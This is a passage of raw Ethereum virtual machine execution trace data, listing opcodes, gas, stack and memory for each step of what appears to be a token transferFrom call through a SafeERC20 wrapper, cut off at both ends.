0000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13484,"op":"JUMPDEST","gas":98633,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13485,"op":"PUSH1","gas":98632,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13487,"op":"DUP3","gas":98629,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13488,"op":"SELFBALANCE","gas":98626,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13489,"op":"LT","gas":98621,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13490,"op":"ISZERO","gas":98618,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13491,"op":"PUSH2","gas":98615,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13494,"op":"JUMPI","gas":98612,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x3524"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13604,"op":"JUMPDEST","gas":98602,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13605,"op":"PUSH1","gas":98601,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13607,"op":"PUSH1","gas":98598,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13609,"op":"PUSH1","gas":98595,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13611,"op":"SHL","gas":98592,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000c